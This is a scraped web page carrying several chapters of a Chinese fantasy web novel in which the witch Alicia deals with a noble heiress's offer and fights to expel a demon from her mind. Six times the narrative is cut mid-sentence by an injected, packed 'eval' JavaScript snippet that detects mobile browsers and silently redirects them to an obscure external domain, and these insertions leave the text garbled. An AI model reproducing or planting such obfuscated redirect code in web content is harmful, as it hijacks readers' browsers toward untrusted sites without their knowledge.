然后顺便告了谢尔夫一状,暗戳戳说他越界。 谢尔夫却是冷笑一声,“这就要问问你身边这位女巫小姐了,不是吗?你刚刚说黑塔没有擅长治疗的女巫来到卡斯塔尼亚,但如果那个擅长治疗的家伙早就藏身于卡斯塔尼亚呢?巴尔纳你敢说绝对那么有一个人吗?” 哦豁,战火终于烧到我身上了。艾莉西亚心想。 76. 进击的女巫17 三个人,六只眼睛,像六盏高功率大瓦数的探照灯一样,在艾丽西亚来回梭巡,他们的目光灼热,都快要在她身上戳。 艾莉西亚露出无辜的微笑,没开口。也不敢随便开口。 谢尔夫得意地“哼”一声,步步紧逼,“你那么,请你告诉我,是什么让你认为你可以凭借没有根据的揣测,就要让阁下为你冒险?你怎么敢的?” 谢尔夫此时的确让人厌恶,但真正放任他这么做的芙蕾的态度才是关键,不过,没等巴尔纳回答谢尔夫的质问,芙蕾先开了口,“葛利斯,你先出去。” 谢尔夫的笑容僵在脸上,但他不敢违抗芙蕾的命令,狠狠瞪了一眼巴尔纳,还捎带上了艾莉西亚,这才跨着大长腿出去。 艾莉西亚在心里摇头,一个人的气质是最好的滤镜与卸妆液,长相普通的人气质好,可以与美人争辉;而漂亮的人一旦气质落了下成,他长得再如何英俊,也让人觉得面目可憎,不堪入目。 艾莉西亚忍不住把这家伙与德蒙卡萨放一起对比,立刻就觉得那家伙虽然阴险,但也难免不被衬托得眉清目秀起来。 “葛利斯说话过分,你不要搭理他,”芙蕾云淡风轻地说,仿佛放任谢尔夫这么做的人不是她,“我希望你做事能更谨慎一点,不要让埃诺里抓住把柄,我们还要继续和黑塔合作下去。” “是的,阁下,我明白。” “你明白就好。埃诺里遇刺的事闹得不小,你尽量查,我可以给你承诺,你拿到了教堂包庇刺客的证据,我就能让你进去抓人。” 巴尔纳仍旧恭敬,“是。” 芙蕾解决完一个问题,面露微笑,“不向我介绍一下这位女士吗?” 巴尔纳不像芙蕾这样情绪收放自如,他脸色很丑,显然对于芙蕾放任谢尔夫攻击自己的事耿耿于怀,因此说话的语气十分僵硬,“这是艾莉西亚·切斯特小姐,一个刚刚被发现的女巫。” 两句话就没了。 芙蕾这时候就表现出十分的宽容,她笑容不变,“她是你发掘的人,布利斯,我可以相信吗?” 很显然,芙蕾十分了解巴尔纳的心态,她这话一出,巴尔纳脸色和缓,竟然有了回暖的迹象,“她同时也是巡夜者聘请的武器顾问,这位女士将会以为巡夜者工作,抵消去矿场苦役。” 不过,巴尔纳也听说艾莉西亚曾经跟随汉斯梅尔夫人来觐见过芙蕾,心里知道这位夫人一定调查过艾莉西亚的底细,对此,他又破不爽,感觉像被愚弄。 芙蕾说,“汉斯梅尔夫人向我推荐了切斯特小姐的汽车项目,这是一个非常有前景的研究,目前已经有了成品,不过,我那时候还不知道切斯特小姐还隐藏着这样的才能,这就是针对超凡者的高额税金出现的弊端了。” 艾莉西亚听着刚觉得她说得有道理,芙蕾话锋一转,“我会向父亲建议,将一部分超凡者缴纳的税金划拨到巡夜者的账户上,如果你再发现如此有潜力的超凡者,可以不同过申请,直接收归手下,让他们为你工作。” 艾莉西亚:“……??”什么意思?这上下文有联系吗?这个时候不是应该说取消一部分税金吗?那她们交的钱给巡夜者小队,再让巡夜者小队雇佣她们,这算什么?我自己出钱雇我自己工作? 这不就是白闝吗? 然而巴尔纳才不管散装超凡者的死活,他喜上眉梢,脸上那道狰狞的伤疤都失去了威慑力,郁气也完全消散,“哦,阁下,这是真的吗?” 芙蕾含笑点头,“当然,我会督促议会尽快将预算拨下来。” “您真是一位体贴下属的长官,阁下。”巴尔纳笨拙地赞美了一下上司,把芙蕾逗得哭笑不得。 芙蕾说,“拿着钱赶紧去找证据,我不想再收到埃诺里的传信,说因为你顾及与阿克莱特的私交,故意不去教堂抓人。” 巴尔纳也没有怨言了,“明白,长官。” 艾莉西亚也不知道他是真的没有怨言还是假的没有,反正他离开的时候看不出不高兴,还把艾莉西亚留在芙蕾的书房。 艾莉西亚心情略复杂,经过这些事,她对这为女继承人的手腕有了一定的认识,此时只觉棘手。 最重要的是,她并不知道芙蕾留下她要做什么。 是因为自己隐瞒了女巫的身份?还是因为别的什么? 就在艾莉西亚兀自纠结时,芙蕾起身,“切斯特小姐,要去花园走走吗?” 艾莉西亚并不知她的目的,心中防备,芙蕾没有给时间让她多想,果断决定,“看起来你并不排斥,那么走吧。” “好的,阁下。”当芙蕾坐在书桌后面时,她的身形都被遮掩,艾莉西亚并不觉得什么,但当她站起来时,艾莉西亚赫然发现,这位女士的身高比她高半个头,身材说不上魁梧健硕,但身上的肌肉十分有力量,她行走时步履轻盈,手臂肌肉若隐若现。 艾莉西亚沉默地跟在芙蕾身后,瞧瞧打量这个传说中捡漏得到继承人之位的人,心里却觉得但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725831|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从手腕和气质看,或许就算不捡漏,这位女士也应该会得到这个位置,只是需要花费更长的时间、更多的精力。 两人走进树木葱郁地花园,花园的占地并不大,不像其他贵族那样栽种大量林木构成迷宫,反而视野开阔,无论站在花园的哪个位置,都能将周围的环境尽收眼底,十分适合隐蔽的谈话。 艾莉西亚不知道芙蕾是否是刻意选了这样的地方,她心思倒是慢慢沉淀下来,就像她刚到书房时想的那样,如果自己没有价值,芙蕾必然不会花费多余的心思,更不要说带着她来花园了。 两人在花园的小径中慢慢地走着,日光倾斜,目之所及的一切都那么清晰,明亮。 “切斯特小姐的妹妹也是女巫,对吗?”虽然是问句,但芙蕾的语气很肯定。 艾莉西亚的回答只有一个,“是的。” “那么,切斯特小姐,你考虑过那个小女孩的未来吗?” 艾莉西亚低头不语。这并不是她想考虑就能考虑出来的,艾莉西亚能做的就是让自己强大起来,让罗德在自己的庇护下自由成长。 芙蕾的声音温和而包容,但话语里却透着冷静的残酷,“塔布拉斯王国独立以来,男人们从小开始,就有一个骑士梦,不论他们生在怎样的家庭,只要有天赋,他们就能看到成为骑士的希望。 “但是女人们不一样,普通的女人从小被教导乖巧、温顺,要以成为某个人的妻子为目的;不普通的女人,那就更惨了,她们会被绑上绞刑架、火刑架,又或者被训练成权贵的禁脔,成为某个人炫耀的黄金装饰品……当然,现在的情况好多了,像你这样的年轻人,已经可以靠自己的能力创办产业了。 “当汉斯梅尔夫人将你的项目放到我书桌上时,她怕我觉得这样的项目风险过大,不利于回本。但她的考虑多余了,在我这里,这不是问题,要给年轻人机会,不是吗?特别是像你、像特蕾娅小姐这样野心勃勃的年轻女性。” 芙蕾的话像是触及到艾莉西亚内心深处某个地方,她感觉到前所未有的认同感。 这种认同,是不同于父母支持之外的力量,有那么一瞬间,艾莉西亚甚至有点理解巴尔纳为什么会那么轻易就被左右了情绪,或许芙蕾这个人手腕精明,但在她的精明之下,是有着打动人心的真诚的。 然而感动只是一瞬间,下一秒,艾莉西亚就从这样的情绪中脱离。 芙蕾说了这么多,却没有说出她的目的,这一点,让人很担心呢。 77. 进击的女巫18 艾莉西亚说,“您说得对,这个世界留个女性的机会太少了,所以才有了您这样的开拓者,不是吗?” 芙蕾盯着她,忽然开怀地笑起来,“你真是个让人惊喜的小家伙。好奇吗?” 艾莉西亚,“老实说,有一点,但我想您既然让我留下,一定会让我知道,所以还能忍耐。” 芙蕾点点头,继续散步,“我的父亲告诉我,强者不会抱怨环境,真正强大的人能够突破重重阻碍,得到他想要目标。但他不知道,当一个女人想要站到台面上的时候,曾经为男人们敞开的大门会一一关闭,没有例外,不过他说得也不全错,当我走到这一步,所有的伦理、道德都不起作用了,唯有强大的力量才能打破封锁。” 艾莉西亚深有感触。 如果她是个男人,她如果拥有超凡的天赋,她会成为格外受到推崇的术士,与司佩和谢尔夫那样后天强行学习魔法的人不一样,她会一开始就站在金字塔尖上,拥有数不尽的魔法资源。 如果她是个男人,她想要运用上辈子的知识创业,她的父亲会为了她的事业用尽一切资源,而不是偷偷地给朋友做担保,把所有家产都赔进去不算,还要把她的婚姻也抵押进去。 但她是个女人,这就注定她得到的善意,不会太多。 只是,这又如何呢? 这条路再艰难,也要有人往前走,不是吗? “我问你有没有考虑过你妹妹的未来,我想你一定思考过很多,但你有没有想过,要怎样才能让她那样的小女孩,在一个安全的环境中成长?” 艾莉西亚心里有了一定的猜想,“您想要将她们集中起来培养吗?” 芙蕾看向艾莉西亚的眼神充满赞赏,“如果有这样一个地方,只要有觉醒的孩子,就能进去被好好照顾起来,教她们如何运用天赋、使用魔法,教她们学习如何在这个残酷的世界生存,你觉得如何?” “当然再好不过了。”艾莉西亚脑海里浮现出巴尔纳离开的表情,那家伙应该真心很满意吧,跟随这样一个老板。 “那么,你有兴趣来把控这个学校的未来吗?” 艾莉西亚怎么会不愿意,但她因为兴奋涌上来的热血倏然推下去,这话术多熟悉啊,不就是在画饼吗?她一开始拉着特蕾娅创业的时候,没少给她描述美好的未来啊。 幸好理智回笼快。 “我想,没有一位目光长远的女巫能拒绝这样的诱惑——这关系着女巫们的未来。但阁下,我并不是那个合适的人,您心里很清楚,我的确很关心罗德的未来,但在我之前,还有更多的、来自黑塔的女巫,不是吗?她们不会放任这样的地方被一个流浪-女巫掌控。” 芙蕾笑笑,意味深长地说,“必要的时候,你也可以出自黑塔,对吧?” 艾莉西亚挑起眉毛,“我不知道您的意思。” “让娜,”芙蕾说,“那个还占据着黑塔重要长老之位的女巫,她曾经是你的老师。” 艾莉西亚心里捉摸着这位到底是真心想做这样一个机构,还是想借此把她弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745164|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进黑塔,但无论是哪一个,现在都不适合艾莉西亚,她父母尚在,还有个妹妹,软肋太多,一旦应下,接下来就会有数不清的麻烦。 “您或许不知道,那位女巫因一场爆炸失去了大部分魔力,而导致这一切的人,正是我。如果有机会,我想让娜女士一定很想让我下地狱。” 芙蕾却说,“你可以回去好好考虑,考虑好了再来答复我。” 艾莉西亚从伯爵府出来,都还闹不明白这位继承人到底想做什么。 多想无益,她已经决定不掺和那些破事。等德蒙卡萨一离开,所有事将尘归尘、土归土,她也会继续她艰辛的创业生活。 这样想着,马车到了医院。 罗德今天乖乖地守在贝斯的病床前,贝斯躺在床上,脸色苍白,但精神却很好,很显然小女儿的回归让她放下心,能安安心心修养了。 艾莉西亚俯身抱了抱贝斯,“感觉怎么样,妈妈?” 贝斯摸摸她的头发,“好多了。罗德很乖,她还帮着唐娜照顾我。” 罗德在一边挺起小胸膛,十分自豪,艾莉西亚点点她的小鼻子,“真棒。” 艾莉西亚在贝斯的病房里坐了大半天,就要离开,贝斯看出了什么,但她动了动嘴唇,没劝艾莉西亚去探视皮尔。 纵然是血亲,父女间的隔阂也不是短时间内能消弭的。艾莉西亚受到的伤害远比看起来严重,作为母亲,贝斯天然更心疼女儿。 或许时间会治愈一切,但那应该会需要很长的时间吧。 78. 进击的女巫19 从城内回到工坊,艾莉西亚坐在廊檐下的椅子上,静静地看着日光洒落,微小的尘埃在空气中跳跃飞舞。 她感觉到很疲惫,几天几夜没有合眼,此时她应该立刻找来米亚,《智慧之书》限制赫默修斯,但她一根手指也不想动,只想安静地坐一坐。 这几天发生了太多的事情。 从成功拿到芙蕾的投资开始,先是遭遇恶魔信徒的伏击,接着落入恶魔空间,被赫默修斯碰瓷,再然后是去魔法塔和帕斯卡那个疯子抢人,回来之后甚至没来及休息,又马不停蹄地去找埃诺里的麻烦,接着为了符合人设,又不眠不休地制作手/弩和箭矢,赶在第二天一早去巡夜者小队报道,最后被顺手带去芙蕾的办公室,听到了继承人一番慷慨激昂的演讲。 绕了很大一个圈,又回到芙蕾的书房。 这会是宿命吗? “不,这只是你的臆想,”恶魔的声音在脑海里响起,“你现在看起来像极了被吸走了灵魂的可怜虫。” 艾莉西亚哂笑,“这都是拜你所赐,不是吗?” 赫默修斯顿了顿,“你是在撒娇吗?” 艾莉西亚要被气笑了,“滚!有多远滚多远!米亚,米亚!你在哪里?我需要你!” 艾莉西亚叫了好几声,米亚才一脸烦躁地从休息室出来,上半夜她跟踪艾莉西亚去埃诺里那里,下半夜又被逼着加班,艾莉西亚去城里之后才到头睡下。 此时还不到中午,米亚只因为起床气而显得很凶,“听着,小妞儿,你最好是真的有事——” 艾莉西亚,“当然,还记得我们的约定吗?现在该你出力了。” “什么?” “《智慧之书》还记得吗?我要彻底限制那个恶魔的影响力,我要想办法把祂赶回深渊。” 米亚脸色有了变化,“你确定?” “老实说,今天之前我并不确定,你知道,脑子里有个知识渊博随叫随应的家伙有时候会很管用,但在巡夜者小队的时候,我发现祂在影响我对情绪的控制力。米亚,你知道吗?如果我现在是个功成名就的大商人,我可以完全不用管,不幸的是,我是个负债累累的创业狗,这意味着我必须控制脾气,得像个追求漂亮姑娘的男人一样,为了得到姑娘的青睐,什么都要忍耐下来。” 米亚没忍住,露出一点嫌弃的表情,“好吧,既然你这么要求——” 两个人交流的时候,赫默修斯完全没有作妖,艾莉西亚以为他认命了,但她们刚拿出《智慧之书》,艾莉西亚就听到了工坊外的不远处,传来马蹄声。 “噢,真该死!到底是谁这时候过来?”艾莉西亚不得不收起《智慧之书》,她不想动,坐在椅子上装死,米亚瞥了她一眼,不知道在想什么,去厨房弄吃的了。 没了丽塔大婶的照顾,艾莉西亚和米亚什么都要自己动手。 工坊大门被敲响,艾莉西亚换了个坐姿,闭眼休息,完全不管外面的人。 “艾莉西亚,你在吗?”熟悉的优雅腔调,初听会觉得低沉磁性,十分有魅力,听多了,就会发现其一贯的高高在上和冷漠。 安托瓦敲门得不到回应,直接从大门进来,一眼就看到在车间外的廊檐下坐着的艾莉西亚。 “你在这里,为什么不回答我?” 艾莉西亚的声音懒洋洋的,“我为什么要回答你?安托瓦先生,你可不是我的投资人了,不要让我觉得你连最后的绅士风度都没有了——你来干嘛?” 安托瓦环顾四周,没有看到第二个人,他问道,“只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777451|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一个人在吗?” “请问你找谁?也许我可以找人去城里问问,不过那要等傍晚车夫送物资来,我才能把你要找人的信息送出去。” 安托瓦,“你非要这么针对我吗?” 艾莉西亚,“是的,你在这里不受欢迎,我的态度还不够明显吗?” 安托瓦的表情带着点无奈,“我知道你一早去城里,找巴尔纳大厅埃诺里的消息。” 艾莉西亚面无表情,“该死的巴尔纳!还有你,你在跟踪我?” 安托瓦,“不,你怎么会这么想?即使我无法再成为你的投资人,但我们还是朋友,不是吗?” 艾莉西亚完全不相信这家伙的鬼话,“呵呵。” 安托瓦把礼帽摘下来,拿在手里,他一头卷发失去束缚,让他英俊的面孔多了几分肆意,“你在巴尔纳那里得不到的信息,我可以告诉你。” 艾莉西亚心想埃诺里什么情况我需要你来告诉我?我不但知道埃诺里什么情况,司佩我也知道。 艾莉西亚,“那个女人死了吗?” 安托瓦表情有了片刻的凝滞,艾莉西亚过于直接,这让他如何继续接下来的话题? 但安托瓦很快调整好,他勾唇笑了笑,“这恐怕要令你失望了,那个女巫有着极强的生命力,不过,你的另一个老朋友的情况就不太秒了。” 艾莉西亚盯着他看了几秒,面露嫌弃,“你告诉我,什么时候开始成为黑塔的掮客的?” 安托瓦,“他们需要你,艾莉,你可以任意开价,只要你去帮忙治疗,你会得到想象不到的回报。” 艾莉西亚手指着大门的方向,优雅地吐出一个单词,“滚!” 疯了吧,她去给埃诺里和司佩治疗,安托瓦也想得出来。 79. 进击的女巫20 安托瓦知道艾莉西亚软硬不吃,他也知道这一趟并不会很容易,但他没料到,艾莉西亚竟然一点也不畏惧黑塔的权威,对埃诺里竟然表现出如此大的恶意——这完全不像艾莉西亚谨慎的作风。 安托瓦离开工坊的时候,他坐在马车上,考虑到埃诺里突然的变化,以及艾莉西亚的强势,或许,这个才被发现身份的女巫身上,有着他不知道的故事。 但无论是什么故事,在艾丽西亚女巫的身份公布那一刻开始,她对安托瓦而言,已经是可望不可及的存在。 在艾莉西亚受到阿斯蒙德伯爵领继承人青睐的如今,艾莉西亚已经从一个普通的酒厂商人之女、一个不起眼的工坊之主,摇身一变,成了极有潜力的未来之星。 这这样的潜力,在她的发动机项目变现之后,会真正帮她成为伯爵领颇有地位的大人物。 而现在,当安托瓦在回想起当初撤资,后来又为了追求艾莉西亚而让她的父亲施压,这样的行为十分愚蠢。如果艾莉西亚稍微不那么按规矩做事,甚至她只需要向埃诺里的风格靠拢一点,这个世界就不会有小安托瓦这个人了。 想到这一点,小安托瓦嘴里像是含了一嘴苦药。 他感到苦涩,但又难免庆幸,那个年轻的女孩不像埃诺里那种唯利是图的家伙。 …… 小安托瓦离开后,艾莉西亚斗志昂扬地呼喊米亚,她要立刻收拾干扰她思维的恶魔,立刻,马上! 果然,人的意志需要一点来自外部的刺激。 米亚对此并不抱希望。 老实说,她活了几十年,几乎没见过谁能从恶魔的诱惑中清醒的。她对艾莉西亚并没有什么信心,到现在还没有对这家伙动手,并不是说完全相信她,更重要的是她打不过艾莉西亚。 是的,作为一个叱咤荒原各部落的高阶骑士,米亚·约克能带着两个年幼的孩子在荒原生存,最大的底气来自实力,然而她对艾莉西亚实力的低估导致了她无法对艾莉西亚做什么。 这当然不代表米亚就此放弃,事实上,她更像是进入了观察蛰伏阶段,如果艾莉西亚没有兑现承诺,又或者她的神智在恶魔的蛊惑下出现了问题,这才是更好的动手时机。 艾莉西亚开启了工坊外的魔法阵,她在车间内清出一个空地,照着《智慧之书》的描述,画上五芒星魔法阵,这样的魔法阵耗时耗力,艾莉西亚在这个过程中休息了好几次,才断断续续完成。 这个过程并非一蹴而就的。 赫默修斯并不是会坐以待毙的家伙,他早在附身于艾莉西亚身上时,就已经影响艾莉西亚的思维,而艾丽西亚为了对付帕斯卡签订契约之后,这样的影响就越发明显了。 尽管艾莉西亚很努力用魔力封住大脑,但画魔法阵的过程中,艾莉西亚几度失控——她会画着画着手脚就不听使唤,把魔法阵破坏掉,又或者把封印恶魔的符文画成召唤恶魔的符文。 她还因为过度使用魔法,而倒地抽搐,整个人陷入甚至混沌的状态,赫默修斯就趁机控制她的身体…… 在此期间,米亚就在一边虎视眈眈。 当她一发现艾莉西亚出现问题的时候,立刻叫醒艾莉西亚,一开始她只是偶尔提醒一下,接着提醒艾莉西亚的时间间隔越来越短,到了最后阶段,米亚几乎是每隔一分钟就要大声呼唤艾莉西亚的名字,以此来让她保持头脑的清醒。 这是米亚第一次如此直观地看到一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781665|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何与恶魔对抗。 米亚是一个铁匠,在她的职业生涯内,制作一把锋利而韧性十足的武器是一个千锤百炼的过程,为了这个目标,她可以持续一两个月全身心地投入进去,这意味着她会像一个没有无情的打铁机器一样,不停地捶打捶打捶打,直到她得到了想要的剑胚。 这样的过程煎熬而磨人,但米亚已经很适应了。 而比起米亚的工作,此时的艾莉西亚的现状可以用“糟糕”来描述。 艾莉西亚的眼神时暗时明,时而放空时而癫狂,她好像陷入了某种幻觉,又像是被恶魔夺取了身体操控权,这不仅仅是精神的较量,更是体能的较量。 米亚看得出来,艾莉西亚的精神状态已经被逼到极致,她的表情因为恶魔不断施加的影响几乎控制不住地抽搐起来,她的躯体也呈现出像神经失调一样的僵硬姿势。 每一次落笔画的符文,都会逼上一次落笔更加艰难,这种状态到后期越发糟糕,她几乎是喘一口气画一笔,还要对对抗来自四面八方的毫无意义的呓语,更要忍受身体不受控的失控感,她要小心地调节感知失效与外来影响的平衡,整个过程已经不是汗如雨下能形容了,身上的衣服早已经湿透,她看起来像是从水里捞出来的。 艾莉西亚在这样的精神恍惚中坚持到了最后,当魔法阵的最后一笔落下时,她长长地吁出一口气,当她望向车间外橘黄色的斜阳时,一时间竟然不知道时间过去了多久。 整个过程,赫默修斯没有在脑海里与她对话。 祂很清楚,艾莉西亚已经决定要将祂从自己的身体内驱逐出去,而祂不会放过这样一个来在现世降临的容器,矛盾不可调和的时候,言语就变得很苍白了。 80. 进击的女巫21 艾莉西亚四肢着地,浑身的肌肉痉挛抽搐着,她的瞳孔从正常的圆瞳变成竖瞳,又彻底消失,最后整个眼眶充斥着让人不适的黑深色,仿佛深渊的颜色。 她发出了野兽一样的嘶吼,额头两端出现不正常的凸起,细看之下,像极了长在恶魔头顶的山羊角。 突然,艾莉西亚的脖子不正常地扭曲起来,她猛地看向米亚,发出了直击灵魂的蛊惑声音。 “米亚·约克~约克!你要复活你的丈夫?那个可怜的男人!” 米亚心神俱震,这不是她第一次直面来自恶魔的恶意,但没有哪一次,让她感觉到恶魔是如此可怕。 她握紧手里的剑,汗水早已不慢额头,听到那让人大脑混沌的声音,她狠狠地咬了一口口腔的嫩肉,血腥气息顿时充满口腔,额头中央,一大滴汗水蜿蜒而下,沿着她高挺的鼻骨滑落至脸庞。 “滚回你的深渊!滚回你的地狱!现世不欢迎你!” 米亚在血腥气息的包裹下,双手握剑,做出了随时都能出击的防御姿态,她的目光坚定而充满韧劲,如果艾莉西亚没能战胜恶魔,她会像自己所说的那样,毫不犹豫看下她的脑袋。 …… 安托瓦回到城内,他没有耽误,来到司佩的居所。 这是一栋建造在普通居民区的住所,外边如它的左邻右舍一样不起眼,但它的内部不仅有市政厅倡导修建的煤气管道、清洁水供给系统、排污管道和冲水马桶,还拥有十分便捷暖气系统,这完全是司佩自己设计安装的。 司佩已经在这座城市里扎根。 然而想要安定下来的司佩此时气息微弱地躺在床上,已经失去了意识。 埃诺里在他的床边走来走去,她的脖子上缠着厚厚的纱布,经过处理之后,脖子上的伤口已经无法对她造成威胁,但司佩的情况不容乐观。 铁甲内部的蒸汽动力装置有魔法符文的作用,铁甲失去了散热装置,魔法符文结构失衡,司佩受伤不仅仅是高温蒸汽灼伤,还有严重的魔力伤害。 如果恶魔的力量是一种污染,那么魔法符文的伤害更像是一种可逆的辐射,前提是拥有这样能力的人才能让这个过程可逆,而拥有治愈能力的女巫能做到。 埃诺里透支魔力暂时保住了他的性命,她不知道司佩还能坚持多久,或许一两天,或许十几个小时,司佩继续一位擅长治疗的女巫帮助。 然而擅长治疗的女巫数量不多,她们大多分布在各个国家黑塔的据点执行任务,卡斯塔尼亚这边倒是有一位,但她一直在巡夜者的监视下活动,如果请了这位女巫过来,就意味着巡夜者知道了司佩的情况,司佩擅自动用铁甲的事就瞒不住了,这将会成为与黑塔谈判的把柄。 不到危及时刻,埃诺里不想让自己陷入如此被动的局面。 安托瓦敲门进来,埃诺里看到只有他一个人出现,眼神从期待转为阴冷,“怎么只有你?切斯特呢?” “切斯特小姐不愿意回来,她说自己并不擅长治疗魔法。”安托瓦没有试图和她讲道理,这种时候,除非埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787189|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺里自己冷静下来,再多的言语都很苍白。 “不可能!”埃诺里说,“当年她曾在魔法塔的爆炸中幸存下来,如果她不擅长治疗魔法,她在这之后怎么会一点影响也没有?” 安托瓦不知道说什么,他是个普通人,对这个世界的了解有限,如果不是因为沃华德出现了一些变化,他甚至会对此一无所知。 埃诺里心情暴躁,但低等人即使低等人,这点事都办不好,她穿上自己的外套,吩咐安托瓦,“你看着他,我亲自去找切斯特。” 埃诺里将几管淡蓝色的药剂交给安托瓦,“如果他的情况恶化,你让他喝下这个,一定要坚持到我回来,明白吗?” 埃诺里的容颜依然艳光四射,但她的眼神很冷,像极了藏在草丛里的毒蛇,被盯上的猎物都不会逃脱她的掌控。 安托瓦有什么不明白呢? 当他得到司佩的信息,选择敲开他的家门时就知道,他作为一个普通人想要获得超凡者的助力,没有足够的筹码钱他只能予取予求,没有丝毫反抗的可能——这些人,她们有着普通无法约束的力量,只要她们愿意,安托瓦觉得自己随时都能死于一场意外。 就像艾莉西亚点燃了谢尔夫的衣服,让他差点死于火海一样。 从普通人的角度看起来,那就像是一个诅咒。 但艾莉西亚不过是动了动念头,甚至都不需要如何精密的安排,就能做到。 “您拥有我的承诺,”安托瓦接过蓝色的药剂,“我会等到您回归。” 81. 进击的女巫22 埃诺里在很年幼的时候,家道中落,她和司佩从富裕人家的小姐少爷变成了流浪乞儿,直到她被黑塔的人发现。但黑塔也不是天堂,那是个吃人的魔窟,埃诺里要竭尽全力,才能保证她和司佩能能活下来,还能越活越好。 后来两个人强大起来,埃诺里则在各国之间游走,成为黑塔最强势的代言人和间谍,现在她已经是黑塔长老会之下最有权势的女巫。 前提是埃诺里和芙蕾·阿斯蒙德的合作能继续,而这个合作,是建立在铁甲开发之上的。 埃诺里从她埋在巡夜者的线人那里得知,书房现场没有铁甲的残骸,最糟糕的局面出现了,那个该死的圣骑士一定拿着铁甲去教廷邀功,作为她盗走《智慧之书》的代偿。 于是,埃诺里想到了艾莉西亚·切斯特。 埃诺里调查过艾莉西亚,当然知道艾莉西亚不擅长治疗,但,埃诺里找艾莉西亚不仅仅是为司佩。 这不是她不在意兄弟的性命,与此相反,她认为艾莉西亚能够从恶魔信徒和另一个强大女巫手里活下来,这本身就意味着那个切斯特有着非凡的能力,治愈能力可能没有,但她一定有足够保命的手段,更重要的事,她可以雇佣艾莉西亚去解决圣骑士。 如果能从艾莉西亚这里得到治疗的方法,那最好,不行,但艾莉西亚拿回了铁甲的残骸,她也能直接请城内的治愈女巫来帮忙救治。 这只是时间问题。司佩会好好地活下去,度过这次难关,就像过去很多次那样。 至于艾莉西亚会不会接受自己的雇佣,埃诺里认为这并不是问题。 经过多年的积累,如今的埃诺里有着数不清的财富,这世界一切都是有价格的,无论艾莉西亚开出什么样的价码,埃诺里都能偿付。 这是属于埃诺里的自信。 毕竟,人总是想要更好地活下去,不是吗? …… 你要为什么活着呢? 一滴水滴落,落入平静的水面,泛起一圈圈涟漪。 艾莉西亚在寂静无人的空间内睁开眼睛。混沌的思绪突然变得清明起来,艾莉西亚脑子里浮现出这句话,以上辈子的文字的方式出现,清晰而坚定。 这是个虚无的、没有边界的空间,除了她所在的这一小块地方有光亮,其他的全淹没在茫茫的黑暗之中,没有动静,没有声音,只有虚无。 是赫默修斯在捣鬼? 这一点毋庸置疑。 如果不是艾莉西亚提前为自己挑选了锚点,她很可能就会在这家伙的干扰中丧失失去意识,走向湮灭。 还是小看了赫默修斯的手段。 艾莉西亚以为这种恶魔的厉害之处在只在于力量,却没料到祂的精神攻击是如此的润物细无声,祂抓住了艾莉西亚画好封印祂的魔法阵那一刻的松懈,趁虚而出,围困了她的意识。 艾莉西亚在与恶魔的身体争夺战之中败落,意识陷入混沌,所有的准备都失效了,如果不是这个从出生就一直困扰自己的问题,她可能不会有清醒的机会。 这大概就是生物的本能吧。 在想清楚为了什么而生存之前,活着本身,就是一种意义。 艾莉西亚还不是很明白自己将要为什么而活下去,但她仍然为为此努力。 想起来,赫默修斯不是也是如此? 赫默修斯那家伙好不容易抓到机会从深渊逃离,一定不愿意就这么被赶回去。< 